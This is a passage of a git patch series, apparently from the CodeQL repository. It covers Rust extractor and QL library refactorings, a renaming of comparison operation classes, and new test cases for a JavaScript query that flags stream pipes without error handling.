"numberOfFiles": 4, "numberOfManifests": 1 }, "severity": "note", diff --git a/rust/ql/integration-tests/hello-workspace/steps.cargo.expected b/rust/ql/integration-tests/hello-workspace/steps.cargo.expected index 03c81ea6fb71..32a3b1110247 100644 --- a/rust/ql/integration-tests/hello-workspace/steps.cargo.expected +++ b/rust/ql/integration-tests/hello-workspace/steps.cargo.expected @@ -5,8 +5,6 @@ | exe/src/main.rs:0:0:0:0 | Extract(exe/src/main.rs) | | exe/src/main.rs:0:0:0:0 | LoadSource(exe/src/main.rs) | | exe/src/main.rs:0:0:0:0 | Parse(exe/src/main.rs) | -| file:///types.rs:0:0:0:0 | Extract(/types.rs) | -| file:///types.rs:0:0:0:0 | Parse(/types.rs) | | file://:0:0:0:0 | CrateGraph | | file://:0:0:0:0 | FindManifests | | lib/src/a_module/mod.rs:0:0:0:0 | Extract(lib/src/a_module/mod.rs) | diff --git a/rust/ql/integration-tests/hello-workspace/steps.rust-project.expected b/rust/ql/integration-tests/hello-workspace/steps.rust-project.expected index 0cf90cf71e02..e9a65e0c7be5 100644 --- a/rust/ql/integration-tests/hello-workspace/steps.rust-project.expected +++ b/rust/ql/integration-tests/hello-workspace/steps.rust-project.expected @@ -4,8 +4,6 @@ | exe/src/main.rs:0:0:0:0 | Extract(exe/src/main.rs) | | exe/src/main.rs:0:0:0:0 | LoadSource(exe/src/main.rs) | | exe/src/main.rs:0:0:0:0 | Parse(exe/src/main.rs) | -| file:///types.rs:0:0:0:0 | Extract(/types.rs) | -| file:///types.rs:0:0:0:0 | Parse(/types.rs) | | file://:0:0:0:0 | CrateGraph | | file://:0:0:0:0 | FindManifests | | lib/src/a_module/mod.rs:0:0:0:0 | Extract(lib/src/a_module/mod.rs) | diff --git a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected index c845417a6244..5912f7d69baf 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected +++ b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected @@ -9,7 +9,7 @@ | Inconsistencies - Path resolution | 0 | | Inconsistencies - SSA | 0 | | Inconsistencies - data flow | 0 | -| Lines of code extracted | 26 | +| Lines of code extracted | 9 | | Lines of user code extracted | 9 | | Macro calls - resolved | 2 | | Macro calls - total | 2 | diff --git a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected index c845417a6244..5912f7d69baf 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected +++ b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected @@ -9,7 +9,7 @@ | Inconsistencies - Path resolution | 0 | | Inconsistencies - SSA | 0 | | Inconsistencies - data flow | 0 | -| Lines of code extracted | 26 | +| Lines of code extracted | 9 | | Lines of user code extracted | 9 | | Macro calls - resolved | 2 | | Macro calls - total | 2 | diff --git a/rust/ql/integration-tests/macro-expansion/diagnostics.expected b/rust/ql/integration-tests/macro-expansion/diagnostics.expected index 74e11aa9f2b4..c98f923b463f 100644 --- a/rust/ql/integration-tests/macro-expansion/diagnostics.expected +++ b/rust/ql/integration-tests/macro-expansion/diagnostics.expected @@ -9,6 +9,10 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "extractLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "findManifests": { "ms": "__REDACTED__", "pretty": "__REDACTED__" @@ -25,12 +29,16 @@ "ms": "__REDACTED__", "pretty": "__REDACTED__" }, + "parseLibrary": { + "ms": "__REDACTED__", + "pretty": "__REDACTED__" + }, "total": { "ms": "__REDACTED__", "pretty": "__REDACTED__" } }, - "numberOfFiles": 3, + "numberOfFiles": 2, "numberOfManifests": 1 }, "severity": "note", diff --git a/rust/ql/integration-tests/workspace-with-glob/steps.expected b/rust/ql/integration-tests/workspace-with-glob/steps.expected index 0ee55e79623f..4b0e6ed828b6 100644 --- a/rust/ql/integration-tests/workspace-with-glob/steps.expected +++ b/rust/ql/integration-tests/workspace-with-glob/steps.expected @@ -1,8 +1,6 @@ | Cargo.toml:0:0:0:0 | LoadManifest(Cargo.toml) | | exe/src/main.rs:0:0:0:0 | Extract(exe/src/main.rs) | | exe/src/main.rs:0:0:0:0 | Parse(exe/src/main.rs) | -| file:///types.rs:0:0:0:0 | Extract(/types.rs) | -| file:///types.rs:0:0:0:0 | Parse(/types.rs) | | file://:0:0:0:0 | CrateGraph | | file://:0:0:0:0 | FindManifests | | lib/src/lib.rs:0:0:0:0 | Extract(lib/src/lib.rs) | From fa1a21b20d61ca1e0463308b39311625543fe5e5 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 21 May 2025 15:12:29 +0200 Subject: [PATCH 306/535] Rust: reduce log-level of diagnostics when extracting library files --- rust/extractor/src/translate/base.rs | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index 44a6610abb59..629000839335 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -210,6 +210,14 @@ impl<'a> Translator<'a> { full_message: String, location: (LineCol, LineCol), ) { + let severity = if self.source_kind == SourceKind::Library { + match severity { + DiagnosticSeverity::Error => DiagnosticSeverity::Info, + _ => DiagnosticSeverity::Debug, + } + } else { + severity + }; let (start, end) = location; dispatch_to_tracing!( severity, From a6cd60f20e647116292d2048a96343a63e5af935 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 21 May 2025 16:18:20 +0200 Subject: [PATCH 307/535] Rust: address comments --- rust/extractor/src/translate/base.rs | 48 ++++++++++++++++------------ 1 file changed, 28 insertions(+), 20 deletions(-) diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index 629000839335..01b00bfbdfd6 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -640,33 +640,41 @@ impl<'a> Translator<'a> { pub(crate) fn should_be_excluded(&self, item: &impl ast::AstNode) -> bool { if self.source_kind == SourceKind::Library { let syntax = item.syntax(); - if let Some(body) = syntax.parent().and_then(Fn::cast).and_then(|x| x.body()) { - if body.syntax() == syntax { - tracing::debug!("Skipping Fn body"); - return true; - } + if syntax + .parent() + .and_then(Fn::cast) + .and_then(|x| x.body()) + .is_some_and(|body| body.syntax() == syntax) + { + tracing::debug!("Skipping Fn body"); + return true; } - if let Some(body) = syntax.parent().and_then(Const::cast).and_then(|x| x.body()) { - if body.syntax() == syntax { - tracing::debug!("Skipping Const body"); - return true; - } + if syntax + .parent() + .and_then(Const::cast) + .and_then(|x| x.body()) + .is_some_and(|body| body.syntax() == syntax) + { + tracing::debug!("Skipping Const body"); + return true; } - if let Some(body) = syntax + if syntax .parent() .and_then(Static::cast) .and_then(|x| x.body()) + .is_some_and(|body| body.syntax() == syntax) { - if body.syntax() == syntax { - tracing::debug!("Skipping Static body"); - return true; - } + tracing::debug!("Skipping Static body"); + return true; } - if let Some(pat) = syntax.parent().and_then(Param::cast).and_then(|x| x.pat()) { - if pat.syntax() == syntax { - tracing::debug!("Skipping parameter"); - return true; - } + if syntax + .parent() + .and_then(Param::cast) + .and_then(|x| x.pat()) + .is_some_and(|pat| pat.syntax() == syntax) + { + tracing::debug!("Skipping parameter"); + return true; } } false From 28be2086ade3668c6068e8d29f7f9fcd322a3faa Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 21 May 2025 17:32:02 +0200 Subject: [PATCH 308/535] Rust: drop too noisy log statements --- rust/extractor/src/translate/base.rs | 4 ---- 1 file changed, 4 deletions(-) diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index 01b00bfbdfd6..e440e00cb25e 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -646,7 +646,6 @@ impl<'a> Translator<'a> { .and_then(|x| x.body()) .is_some_and(|body| body.syntax() == syntax) { - tracing::debug!("Skipping Fn body"); return true; } if syntax @@ -655,7 +654,6 @@ impl<'a> Translator<'a> { .and_then(|x| x.body()) .is_some_and(|body| body.syntax() == syntax) { - tracing::debug!("Skipping Const body"); return true; } if syntax @@ -664,7 +662,6 @@ impl<'a> Translator<'a> { .and_then(|x| x.body()) .is_some_and(|body| body.syntax() == syntax) { - tracing::debug!("Skipping Static body"); return true; } if syntax @@ -673,7 +670,6 @@ impl<'a> Translator<'a> { .and_then(|x| x.pat()) .is_some_and(|pat| pat.syntax() == syntax) { - tracing::debug!("Skipping parameter"); return true; } } From 36f5e78a7eab78077c0bea4804fd6c439f0acecb Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 22 May 2025 10:17:44 +0200 Subject: [PATCH 309/535] Rust: Remove unused impl type --- rust/ql/lib/codeql/rust/internal/Type.qll | 70 ------------------- .../lib/codeql/rust/internal/TypeMention.qll | 50 ------------- 2 files changed, 120 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index bb698236debc..db7938b3cf1b 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -13,7 +13,6 @@ newtype TType = TStruct(Struct s) { Stages::TypeInferenceStage::ref() } or TEnum(Enum e) or TTrait(Trait t) or - TImpl(Impl i) or TArrayType() or // todo: add size? TRefType() or // todo: add mut? TTypeParamTypeParameter(TypeParam t) or @@ -132,75 +131,6 @@ class TraitType extends Type, TTrait { override Location getLocation() { result = trait.getLocation() } } -/** - * An `impl` block type. - * - * Although `impl` blocks are not really types, we treat them as such in order - * to be able to match type parameters from structs (or enums) with type - * parameters from `impl` blocks. For example, in - * - * ```rust - * struct S(T1); - * - * impl S { - * fn id(self) -> S { self } - * } - * - * let x : S(i64) = S(42); - * x.id(); - * ``` - * - * we pretend that the `impl` block is a base type mention of the struct `S`, - * with type argument `T1`. This means that from knowing that `x` has type - * `S(i64)`, we can first match `i64` with `T1`, and then by matching `T1` with - * `T2`, we can match `i64` with `T2`. - * - * `impl` blocks can also have base type mentions, namely the trait that they - * implement (if any). Example: - * - * ```rust - * struct S(T1); - * - * trait Trait { - * fn f(self) -> T2; - * - * fn g(self) -> T2 { self.f() } - * } - * - * impl Trait for S { // `Trait` is a base type mention of this `impl` block - * fn f(self) -> T3 { - * match self { - * S(x) => x - * } - * } - * } - * - * let x : S(i64) = S(42); - * x.g(); - * ``` - * - * In this case we can match `i64` with `T1`, `T1` with `T3`, and `T3` with `T2`, - * allowing us match `i64` with `T2`, and hence infer that the return type of `g` - * is `i64`. - */ -class ImplType extends Type, TImpl { - private Impl impl; - - ImplType() { this = TImpl(impl) } - - override StructField getStructField(string name) { none() } - - override TupleField getTupleField(int i) { none() } - - override TypeParameter getTypeParameter(int i) { - result = TTypeParamTypeParameter(impl.getGenericParamList().getTypeParam(i)) - } - - override string toString() { result = impl.toString() } - - override Location getLocation() { result = impl.getLocation() } -} - /** * An array type. * diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll index d12cdf8ac3e3..a957a82149f3 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeMention.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll @@ -189,56 +189,6 @@ class TypeAliasMention extends TypeMention, TypeAlias { override Type resolveType() { result = t } } -/** - * Holds if the `i`th type argument of `selfPath`, belonging to `impl`, resolves - * to type parameter `tp`. - * - * Example: - * - * ```rust - * impl Foo for Bar { ... } - * // ^^^^^^ selfPath - * // ^ tp - * ``` - */ -pragma[nomagic] -private predicate isImplSelfTypeParam( - ImplItemNode impl, PathMention selfPath, int i, TypeParameter tp -) { - exists(PathMention path | - selfPath = impl.getSelfPath() and - path = selfPath.getSegment().getGenericArgList().getTypeArg(i).(PathTypeRepr).getPath() and - tp = path.resolveType() - ) -} - -class ImplMention extends TypeMention, ImplItemNode { - override TypeReprMention getTypeArgument(int i) { none() } - - override Type resolveType() { result = TImpl(this) } - - override Type resolveTypeAt(TypePath path) { - result = TImpl(this) and - path.isEmpty() - or - // For example, in - // - // ```rust - // struct S(T1); - // - // impl S { ... } - // ``` - // - // We get that the type path "0" resolves to `T1` for the `impl` block, - // which is considered a base type mention of `S`. - exists(PathMention selfPath, TypeParameter tp, int i | - isImplSelfTypeParam(this, selfPath, pragma[only_bind_into](i), tp) and - result = selfPath.resolveType().getTypeParameter(pragma[only_bind_into](i)) and - path = TypePath::singleton(tp) - ) - } -} - class TraitMention extends TypeMention, TraitItemNode { override TypeMention getTypeArgument(int i) { result = this.getTypeParam(i) From 76737cb53aaa0d024bab996aaa4a4b0b4625e307 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Thu, 22 May 2025 10:13:07 +0200 Subject: [PATCH 310/535] Rust: Follow-up changes after rebase --- .../PathResolutionConsistency.ql | 6 ++++++ rust/ql/lib/codeql/rust/internal/PathResolution.qll | 5 +---- .../CONSISTENCY/PathResolutionConsistency.expected | 13 +++++++++++++ 3 files changed, 20 insertions(+), 4 deletions(-) diff --git a/rust/ql/consistency-queries/PathResolutionConsistency.ql b/rust/ql/consistency-queries/PathResolutionConsistency.ql index 555b8239996a..db93f4b2860a 100644 --- a/rust/ql/consistency-queries/PathResolutionConsistency.ql +++ b/rust/ql/consistency-queries/PathResolutionConsistency.ql @@ -5,6 +5,8 @@ * @id rust/diagnostics/path-resolution-consistency */ +private import rust +private import codeql.rust.internal.PathResolution private import codeql.rust.internal.PathResolutionConsistency as PathResolutionConsistency private import codeql.rust.elements.Locatable private import codeql.Locations @@ -25,3 +27,7 @@ query predicate multipleMethodCallTargets(SourceLocatable a, SourceLocatable b) query predicate multiplePathResolutions(SourceLocatable a, SourceLocatable b) { PathResolutionConsistency::multiplePathResolutions(a, b) } + +query predicate multipleCanonicalPaths(SourceLocatable i, SourceLocatable c, string path) { + PathResolutionConsistency::multipleCanonicalPaths(i, c, path) +} diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index a3535b7f3468..6ca0b88814cb 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -354,10 +354,7 @@ class CrateItemNode extends ItemNode instanceof Crate { this.hasCanonicalPath(c) and exists(ModuleLikeNode m | child.getImmediateParent() = m and - not m = child.(SourceFileItemNode).getSuper() - | - m = super.getModule() // the special `crate` root module inserted by the extractor - or + not m = child.(SourceFileItemNode).getSuper() and m = super.getSourceFile() ) } diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected index cdd925c7ad1e..55de4510344c 100644 --- a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected @@ -1,3 +1,16 @@ multipleMethodCallTargets | web_frameworks.rs:194:30:194:74 | ... .get(...) | file://:0:0:0:0 | fn get | | web_frameworks.rs:194:30:194:74 | ... .get(...) | file://:0:0:0:0 | fn get | +multipleCanonicalPaths +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | From 7e5f6523c5a9d5f699986a7dda9e054dd7b6c50f Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 22 May 2025 11:35:54 +0200 Subject: [PATCH 311/535] Rust: disable ResolvePaths when extracting library source files --- rust/extractor/src/main.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/extractor/src/main.rs b/rust/extractor/src/main.rs index 536d86f67f0e..1b681d448d25 100644 --- a/rust/extractor/src/main.rs +++ b/rust/extractor/src/main.rs @@ -315,7 +315,7 @@ fn main() -> anyhow::Result<()> { file, &semantics, vfs, - resolve_paths, + ResolvePaths::No, SourceKind::Library, ); extractor.archiver.archive(file); From 852203911afc2f8b271660fd9264763a6ab64db8 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 22 May 2025 11:13:56 +0100 Subject: [PATCH 312/535] Rust: Equal -> Equals. --- .../codeql/rust/elements/ComparisonOperation.qll | 16 ++++++++-------- .../UncontrolledAllocationSizeExtensions.qll | 4 ++-- .../test/library-tests/operations/Operations.ql | 8 ++++---- rust/ql/test/library-tests/operations/test.rs | 8 ++++---- 4 files changed, 18 insertions(+), 18 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll index cbd9ae91a27d..24fe9b0b19d6 100644 --- a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll +++ b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll @@ -22,15 +22,15 @@ final class EqualityOperation = EqualityOperationImpl; /** * The equal comparison operation, `==`. */ -final class EqualOperation extends EqualityOperationImpl { - EqualOperation() { this.getOperatorName() = "==" } +final class EqualsOperation extends EqualityOperationImpl { + EqualsOperation() { this.getOperatorName() = "==" } } /** * The not equal comparison operation, `!=`. */ -final class NotEqualOperation extends EqualityOperationImpl { - NotEqualOperation() { this.getOperatorName() = "!=" } +final class NotEqualsOperation extends EqualityOperationImpl { + NotEqualsOperation() { this.getOperatorName() = "!=" } } /** @@ -81,8 +81,8 @@ final class GreaterThanOperation extends RelationalOperationImpl { /** * The less than or equal comparison operation, `<=`. */ -final class LessOrEqualOperation extends RelationalOperationImpl { - LessOrEqualOperation() { this.getOperatorName() = "<=" } +final class LessOrEqualsOperation extends RelationalOperationImpl { + LessOrEqualsOperation() { this.getOperatorName() = "<=" } override Expr getGreaterOperand() { result = this.getRhs() } @@ -92,8 +92,8 @@ final class LessOrEqualOperation extends RelationalOperationImpl { /** * The greater than or equal comparison operation, `>=`. */ -final class GreaterOrEqualOperation extends RelationalOperationImpl { - GreaterOrEqualOperation() { this.getOperatorName() = ">=" } +final class GreaterOrEqualsOperation extends RelationalOperationImpl { + GreaterOrEqualsOperation() { this.getOperatorName() = ">=" } override Expr getGreaterOperand() { result = this.getLhs() } diff --git a/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll b/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll index ab543d5a63d8..2f4898f6e9da 100644 --- a/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll @@ -55,11 +55,11 @@ module UncontrolledAllocationSize { node = cmp.(RelationalOperation).getGreaterOperand().getACfgNode() and branch = false or - cmp instanceof EqualOperation and + cmp instanceof EqualsOperation and [cmp.getLhs(), cmp.getRhs()].getACfgNode() = node and branch = true or - cmp instanceof NotEqualOperation and + cmp instanceof NotEqualsOperation and [cmp.getLhs(), cmp.getRhs()].getACfgNode() = node and branch = false ) diff --git a/rust/ql/test/library-tests/operations/Operations.ql b/rust/ql/test/library-tests/operations/Operations.ql index af7ecefb1c39..482373c8d052 100644 --- a/rust/ql/test/library-tests/operations/Operations.ql +++ b/rust/ql/test/library-tests/operations/Operations.ql @@ -18,9 +18,9 @@ string describe(Expr op) { or op instanceof EqualityOperation and result = "EqualityOperation" or - op instanceof EqualOperation and result = "EqualOperation" + op instanceof EqualsOperation and result = "EqualsOperation" or - op instanceof NotEqualOperation and result = "NotEqualOperation" + op instanceof NotEqualsOperation and result = "NotEqualsOperation" or op instanceof RelationalOperation and result = "RelationalOperation" or @@ -28,9 +28,9 @@ string describe(Expr op) { or op instanceof GreaterThanOperation and result = "GreaterThanOperation" or - op instanceof LessOrEqualOperation and result = "LessOrEqualOperation" + op instanceof LessOrEqualsOperation and result = "LessOrEqualsOperation" or - op instanceof GreaterOrEqualOperation and result = "GreaterOrEqualOperation" + op instanceof GreaterOrEqualsOperation and result = "GreaterOrEqualsOperation" } module OperationsTest implements TestSig { diff --git a/rust/ql/test/library-tests/operations/test.rs b/rust/ql/test/library-tests/operations/test.rs index 06c9bbe6db17..dba47f5faa3d 100644 --- a/rust/ql/test/library-tests/operations/test.rs +++ b/rust/ql/test/library-tests/operations/test.rs @@ -11,12 +11,12 @@ fn test_operations( x = y; // $ Operation Op== Operands=2 AssignmentOperation BinaryExpr // comparison operations - x == y; // $ Operation Op=== Operands=2 BinaryExpr ComparisonOperation EqualityOperation EqualOperation - x != y; // $ Operation Op=!= Operands=2 BinaryExpr ComparisonOperation EqualityOperation NotEqualOperation + x == y; // $ Operation Op=== Operands=2 BinaryExpr ComparisonOperation EqualityOperation EqualsOperation + x != y; // $ Operation Op=!= Operands=2 BinaryExpr ComparisonOperation EqualityOperation NotEqualsOperation x < y; // $ Operation Op=< Operands=2 BinaryExpr ComparisonOperation RelationalOperation LessThanOperation Greater=y Lesser=x - x <= y; // $ Operation Op=<= Operands=2 BinaryExpr ComparisonOperation RelationalOperation LessOrEqualOperation Greater=y Lesser=x + x <= y; // $ Operation Op=<= Operands=2 BinaryExpr ComparisonOperation RelationalOperation LessOrEqualsOperation Greater=y Lesser=x x > y; // $ Operation Op=> Operands=2 BinaryExpr ComparisonOperation RelationalOperation GreaterThanOperation Greater=x Lesser=y - x >= y; // $ Operation Op=>= Operands=2 BinaryExpr ComparisonOperation RelationalOperation GreaterOrEqualOperation Greater=x Lesser=y + x >= y; // $ Operation Op=>= Operands=2 BinaryExpr ComparisonOperation RelationalOperation GreaterOrEqualsOperation Greater=x Lesser=y // arithmetic operations x + y; // $ Operation Op=+ Operands=2 BinaryExpr From 5710f0cf51fc8876c64e62235068cc1c6fd59415 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 21 May 2025 09:42:44 +0200 Subject: [PATCH 313/535] Add test cases for non-stream field accesses and methods before and after pipe operations --- .../UnhandledStreamPipe/rxjsStreams.js | 10 +++++ .../Quality/UnhandledStreamPipe/test.expected | 17 +++++++ .../Quality/UnhandledStreamPipe/test.js | 45 +++++++++++++++++++ 3 files changed, 72 insertions(+) create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js new file mode 100644 index 000000000000..a074be1c1a2f --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js @@ -0,0 +1,10 @@ +import * as rx from 'rxjs'; +import * as ops from 'rxjs/operators'; + +const { of, from } = rx; +const { map, filter } = ops; + +function f(){ + of(1, 2, 3).pipe(map(x => x * 2)); // $SPURIOUS:Alert + someNonStream().pipe(map(x => x * 2)); // $SPURIOUS:Alert +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 2c52c7382040..a26cf2a93428 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,3 +1,5 @@ +| rxjsStreams.js:8:3:8:35 | of(1, 2 ... x * 2)) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| rxjsStreams.js:9:3:9:39 | someNon ... x * 2)) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | @@ -9,3 +11,18 @@ | test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:171:17:171:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:175:17:175:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:190:17:190:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:195:17:195:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:199:5:199:22 | notStream.pipe({}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:203:5:203:26 | notStre ... ()=>{}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:207:5:207:31 | getStre ... mber()) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:207:5:207:42 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:207:5:207:53 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:207:5:207:64 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:212:5:212:23 | getStream().pipe(p) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:212:5:212:34 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:212:5:212:45 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:212:5:212:56 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index c80cd11c16b0..1cc320bd00b8 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -166,4 +166,49 @@ function test() { const notStream = getNotAStream(); notStream.pipe(arg1, arg2, arg3); } + { // Member access on a non-stream after pipe + const notStream = getNotAStream(); + const val = notStream.pipe(writable).someMember; // $SPURIOUS:Alert + } + { // Member access on a stream after pipe + const notStream = getNotAStream(); + const val = notStream.pipe(writable).readable; // $Alert + } + { // Method access on a non-stream after pipe + const notStream = getNotAStream(); + const val = notStream.pipe(writable).someMethod(); + } + { // Pipe on fs readStream + const fs = require('fs'); + const stream = fs.createReadStream('file.txt'); + const copyStream = stream; + copyStream.pipe(destination); // $Alert + } + { + const notStream = getNotAStream(); + const something = notStream.someNotStreamPropertyAccess; + const val = notStream.pipe(writable); // $SPURIOUS:Alert + } + { + const notStream = getNotAStream(); + const something = notStream.someNotStreamPropertyAccess(); + const val = notStream.pipe(writable); // $SPURIOUS:Alert + } + { + const notStream = getNotAStream(); + notStream.pipe({}); // $SPURIOUS:Alert + } + { + const notStream = getNotAStream(); + notStream.pipe(()=>{}); // $SPURIOUS:Alert + } + { + const plumber = require('gulp-plumber'); + getStream().pipe(plumber()).pipe(dest).pipe(dest).pipe(dest); // $SPURIOUS:Alert + } + { + const plumber = require('gulp-plumber'); + const p = plumber(); + getStream().pipe(p).pipe(dest).pipe(dest).pipe(dest); // $SPURIOUS:Alert + } } From 4332de464aef736dddb2616ff88868e74f9740fa Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 21 May 2025 11:28:37 +0200 Subject: [PATCH 314/535] Eliminate false positives by detecting non-stream objects returned from `pipe()` calls based on accessed properties --- .../ql/src/Quality/UnhandledStreamPipe.ql | 36 ++++++++++++++++++- .../Quality/UnhandledStreamPipe/test.expected | 7 ---- .../Quality/UnhandledStreamPipe/test.js | 2 +- 3 files changed, 36 insertions(+), 9 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 